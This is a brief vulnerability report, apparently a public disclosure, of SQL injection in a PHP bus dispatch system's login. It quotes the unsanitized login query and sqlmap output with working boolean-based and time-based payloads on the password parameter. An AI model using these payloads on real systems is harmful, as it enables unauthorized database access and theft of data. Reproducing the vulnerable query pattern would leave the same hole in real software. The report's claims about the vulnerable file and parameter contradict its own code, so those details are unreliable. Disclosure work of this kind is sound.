

Bus Dispatch and Information System in login_info has Sql injection vulnerabilities

Bus Dispatch and Information System has Sql injection vulnerabilities. The vulnerability is located in the reach_city parameter of the adminHome.php file. The attacker can read and write arbitrarily to the database and obtain sensitive data without logging in the background.

```
$username=$_POST['username'];
$password=$_POST['password'];

$login_query=mysql_query("select * from admin where username='$username' and password='$password'");
$count=mysql_num_rows($login_query);
$row=mysql_fetch_array($login_query);
$firstname=$row['firstname'];
$lastname=$row['lastname'];

if ($count > 0){
    session_start();
    $_SESSION['id']=$row['adminid'];

    echo "<script>alert('Successfully Login!'); window.location='dashboard.php'</script>";
}else{
    echo "<script>alert('Invalid Username and Password! Try again.');
```

[08.20.05] [INFO] checking if the injection point on POST parameter 'password' is a false positive
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 2774 HTTP(s) requests:

Parameter: password (POST)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)

Payload: username=123&password=123' OR NOT 3693=3693#&login=

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: username=123&password=123' AND (SELECT 3816 FROM (SELECT(SLEEP(5)))byhh)-- NQtu&login=

Sqlmap Attack

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